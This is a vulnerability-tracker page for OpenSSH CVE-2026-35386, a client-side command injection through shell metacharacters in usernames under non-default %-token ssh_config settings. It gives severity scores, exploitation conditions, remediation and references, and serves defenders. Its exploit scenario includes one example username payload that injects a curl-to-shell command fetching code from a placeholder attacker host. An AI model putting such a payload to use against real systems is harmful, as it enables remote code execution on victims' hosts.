Skip to main content

OpenSSH CVE-2026-35386

| EUVDEUVD-2026-18400 HIGH
Incorrect Behavior Order (CWE-696)
2026-04-02 cve@mitre.org
Information Disclosure SSH Openssh Openbsd
High
Disputed · 8.1 NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Supply malicious username to ssh wrapper
  2. Delivery
    Untrusted value reaches ssh command line
  3. Exploit
    %-token expansion inserts metacharacters into command
  4. Execution
    Shell interprets injected metacharacters
  5. Impact
    Execute arbitrary command on client host

Vulnerability Assessment

Weakness
CWE
CWE-696
ASVS 5.0
V15 - Secure Coding and Architecture Incorrect behavior order
Exploitation Conditions

Two concrete preconditions must both hold: (1) the username supplied on the ssh command line is untrusted/attacker-influenced - some wrapper, script, or application feeds external input into ssh's user argument rather than a fixed hardcoded value; and (2) the local ssh_config uses non-default percent-token expansion, specifically directives such as ProxyCommand or LocalCommand that expand %r/%u (the username) into a string passed to the shell. Limiting factors: the default ssh_config is NOT vulnerable, so any environment that has not enabled %-expansion of the username is unaffected; exploitation targets the SSH-client side, not a listening sshd, so internet-facing SSH servers are not directly at risk from this; and it requires the deploying application to relay untrusted usernames, an uncommon application-specific pattern (hence CVSS AC:H).
Impact

The signals point to a real but narrow, low-priority-in-practice issue. The CVSS 3.1 base score is 8.1 (High); AC:H reflects that exploitation is conditional, while C:H/I:H/A:H reflects full command execution once triggered - consistent with SSVC Technical Impact: total. Every other signal pulls toward low real-world risk: EPSS is 0.01% (1st percentile), SSVC Exploitation is 'none' and Automatable is 'no', it is not in CISA KEV, and no POC has been published. The gating preconditions (untrusted username reaching the command line AND a non-default %-expansion ssh_config) mean this is not mass-exploitable. One tension to verify: the CVSS vector uses AV:N/PR:N, but the command executes on the SSH-client host and depends on how a local wrapper invokes ssh - the 'network' vector really reflects untrusted input crossing a trust boundary rather than direct remote attacker access, so treat AV:N as generous. Bottom line: patch on a normal cycle unless you operate ssh wrappers that pass untrusted usernames, in which case prioritize.
Exploit ScenarioDerived

A provisioning or jump-host web application lets users supply a target username, which it passes to the local ssh command; the host's ssh_config uses a ProxyCommand containing %r. An attacker submits a username like 'victim;curl attacker/x|sh', and because the metacharacters survive %-expansion into the shell, the injected command runs on the client host with that service's privileges. No public POC is currently identified, and the required non-default configuration plus AC:H make opportunistic exploitation unlikely.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jul 07, 2026

Argument/command injection in OpenSSH before 10.3 lets shell metacharacters embedded in an untrusted username trigger command execution on the SSH-client host. It affects deployments that both feed an attacker-influenced username to the ssh command line and use a non-default ssh_config where %-token expansion (e.g. in ProxyCommand/LocalCommand) is enabled. There is no public exploit identified at time of analysis, EPSS is negligible (0.01%), and it is not in CISA KEV; a fixed release (10.3/10.3p1) is available.

Earlier versions of this analysis (2)
v2 Jul 07, 2026 - 16:13 cvss changed CVSS 8.1

Command injection in OpenSSH before 10.3 lets an attacker supplying an untrusted username on the ssh command line execute arbitrary commands on the SSH client host. Exploitation is only possible when ssh_config uses a non-default configuration containing % token expansion (e.g. in ProxyCommand/LocalCommand), because the username's shell metacharacters are expanded into the resulting command before being sanitized. No public exploit has been identified at time of analysis, EPSS is negligible (0.01%), and CISA SSVC records exploitation status as 'none', though the technical impact is rated total. Fixed in OpenSSH 10.3p1.

v1 Apr 02, 2026 - 17:22 CVSS 3.6

OpenSSH before version 10.3 allows local privilege escalation through shell metacharacter injection in usernames when non-default ssh_config token expansion (%) is enabled. A local authenticated attacker with limited privileges can execute arbitrary commands by crafting a malicious username containing shell metacharacters, provided the system administrator has configured ssh_config to expand user-controlled tokens. This requires low user privileges and high attack complexity due to configuration constraints, but impacts confidentiality and integrity on affected systems.

RemediationAI

Vendor-released patch: upgrade to OpenSSH 10.3 (portable 10.3p1) or later per the OpenSSH release notes (https://www.openssh.org/releasenotes.html#10.3p1); on Ubuntu apply the packaged fix from USN-8222-1 (https://ubuntu.com/security/notices/USN-8222-1) and equivalent distro updates elsewhere. If immediate patching is not possible, eliminate the trigger conditions: stop passing untrusted or externally-derived usernames directly onto the ssh command line (validate/allowlist usernames to safe characters before invoking ssh), and review ssh_config and ssh_config.d for ProxyCommand, LocalCommand or other directives using %r/%u tokens, removing or hardening them where the username is not fully trusted - the trade-off is loss of the dynamic proxy/local-command behavior those directives provide. These controls address the exact preconditions rather than relying on generic defense in depth.

Affected VersionsENISA

OpenSSH 0 <10.3

Affected Packages

euvd openssh fix: 10.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

OpenSSH is the OpenBSD-maintained SSH client/server suite (CPE cpe:2.3:a:openbsd:openssh) that ships as the default SSH implementation on virtually all Linux/BSD/macOS systems. The ssh_config directives ProxyCommand, LocalCommand and similar support percent-token expansion, where tokens such as %r (remote username) and %u are substituted into a string that is subsequently handed to a shell. CWE-696 (Incorrect Behavior Order) is the root cause: the username value is expanded into the command string before it is properly neutralized, so shell metacharacters in the username survive into shell interpretation. When an application or wrapper passes a username derived from untrusted input to ssh, and the local ssh_config uses these %-tokens, the metacharacters are executed rather than treated as literal text.

Know when Openssh gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Sources disagree (Low–High)
NVD PRIMARY 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.1 HIGH

AC:H because exploitation needs both an untrusted username on the command line and a non-default %-expansion ssh_config; PR:N as the attacker only supplies input; full command execution yields C/I/A:H.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 3.6 LOW
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Red Hat 3.6 LOW

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
Severity Changed
Jul 07, 2026 - 16:07 NVD
LOW HIGH
CVSS changed
Jul 07, 2026 - 16:07 NVD
3.6 (LOW) 8.1 (HIGH)
Patch available
Apr 16, 2026 - 05:29 EUVD
10.3
CVE Published
Apr 02, 2026 - 17:16 nvd
LOW 3.6

DescriptionNVD

In OpenSSH before 10.3, command execution can occur via shell metacharacters in a username within a command line. This requires a scenario where the username on the command line is untrusted, and also requires a non-default configurations of % in ssh_config.

Executive ViewAI

Why It Matters

OpenSSH client versions before 10.3 contain a command injection vulnerability that could allow attackers with control over SSH usernames to execute arbitrary commands on client systems-but only if those systems use non-default SSH configurations with %-token expansion enabled. The risk is material for organizations with SSH automation or custom proxy configurations, but the requirement for multiple attack preconditions and lack of active exploitation significantly reduces immediate organizational exposure.

Business Impact: Medium
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Prevalence
Ubiquitous
OpenSSH is the default SSH suite on nearly all Unix-like systems
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
Medium
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information Disclosure MEDIUM

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Related Vulnerabilities in OpenSSH Security Flaws

View all 4
CVE-2026-35385 HIGH
8.1
CVE-2026-35388 LOW
2.5
CVE-2026-35387 MEDIUM
6.5

More in Openssh

View all
CVE-2023-38408 CRITICAL POC
9.8 Jul 20

The PKCS#11 feature in ssh-agent in OpenSSH before 9.3p2 has an insufficiently trustworthy search path, leading to remot
CVE-2023-25136 MEDIUM POC
6.5 Feb 03

OpenSSH server (sshd) 9.1 introduced a double-free vulnerability during options.kex_algorithms handling. Rated medium se
CVE-2016-6210 MEDIUM POC
5.9 Feb 13

sshd in OpenSSH before 7.3, when SHA256 or SHA512 are used for user password hashing, uses BLOWFISH hashing on a static

CVE-2015-5600 HIGH POC
8.1 Aug 03

The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processin
CVE-2016-6515 HIGH POC
7.5 Aug 07

The auth_password function in auth-passwd.c in sshd in OpenSSH before 7.3 does not limit password lengths for password a
CVE-2024-6387 HIGH POC
8.1 Jul 01

Remote code execution in OpenSSH's sshd server (regression of CVE-2006-5051) allows unauthenticated remote attackers to

CVE-2019-6111 MEDIUM POC
5.9 Jan 31

An issue was discovered in OpenSSH 7.9. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, no
CVE-2025-26465 MEDIUM
6.8 Feb 18

A vulnerability was found in OpenSSH when the VerifyHostKeyDNS option is enabled. Rated medium severity (CVSS 6.8), this
CVE-2023-48795 MEDIUM POC
5.9 Dec 18

The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remot
CVE-2016-0777 MEDIUM
6.5 Jan 14

The resend_bytes function in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2 allows remote serv
CVE-2016-3115 MEDIUM POC
6.4 Mar 22

Multiple CRLF injection vulnerabilities in session.c in sshd in OpenSSH before 7.2p2 allow remote authenticated users to
CVE-2019-6110 MEDIUM POC
6.8 Jan 31

In OpenSSH 7.9, due to accepting and displaying arbitrary stderr output from the server, a malicious server (or Man-in-T

Same weakness CWE-696 – Incorrect Behavior Order

View all
CVE-2021-31379 HIGH POC
7.5
CVE-2026-44108 CRITICAL
9.3
CVE-2026-45033 HIGH
8.5
CVE-2026-14169 HIGH
8.1
CVE-2026-110450 HIGH
8.0
CVE-2026-105745 HIGH POC
7.8
CVE-2025-31485 HIGH
7.5
CVE-2023-33224 HIGH
7.2

Same technique Information Disclosure

View all
CVE-2019-2725 CRITICAL POC
9.8
CVE-2021-34523 CRITICAL POC
9.0
CVE-2013-2251 CRITICAL POC
9.8
CVE-2017-5638 CRITICAL POC
9.8
CVE-2025-24813 CRITICAL POC
9.8
CVE-2025-68613 HIGH POC
8.8
CVE-2015-1701 HIGH POC
7.8
CVE-2017-0147 HIGH POC
7.5

Vendor StatusVendor

SUSE

Severity: Low
Product Status
SUSE Liberty Linux 10 Fixed
SUSE Liberty Linux 8 Fixed
SUSE Liberty Linux 9 Fixed
SLES15-SP5-CHOST-BYOS-SAP-CCloud Affected
SLES15-SP6-CHOST-BYOS Affected

References

Advisories & patches
ADVISORY https://access.redhat.com/errata/RHSA-2026:12389 ADVISORY https://access.redhat.com/errata/RHSA-2026:13380 ADVISORY https://access.redhat.com/errata/RHSA-2026:13381 ADVISORY https://access.redhat.com/errata/RHSA-2026:13383 ADVISORY https://access.redhat.com/errata/RHSA-2026:14937 ADVISORY https://access.redhat.com/errata/RHSA-2026:16059 ADVISORY https://access.redhat.com/errata/RHSA-2026:19069 ADVISORY https://access.redhat.com/errata/RHSA-2026:19219 ADVISORY https://access.redhat.com/errata/RHSA-2026:21275 ADVISORY https://access.redhat.com/errata/RHSA-2026:21298 ADVISORY https://access.redhat.com/errata/RHSA-2026:21398 ADVISORY https://access.redhat.com/errata/RHSA-2026:22329 ADVISORY https://access.redhat.com/errata/RHSA-2026:22564 ADVISORY https://access.redhat.com/errata/RHSA-2026:22648 ADVISORY https://access.redhat.com/errata/RHSA-2026:25096 ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-35386 ADVISORY https://ubuntu.com/security/notices/USN-8222-1 ADVISORY https://vuldb.com/vuln/354956 REF https://marc.info/?l=openssh-unix-dev&m=177513443901484&w=2 REF https://www.openssh.org/releasenotes.html#10.3p1 REF https://www.openwall.com/lists/oss-security/2026/04/02/3

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy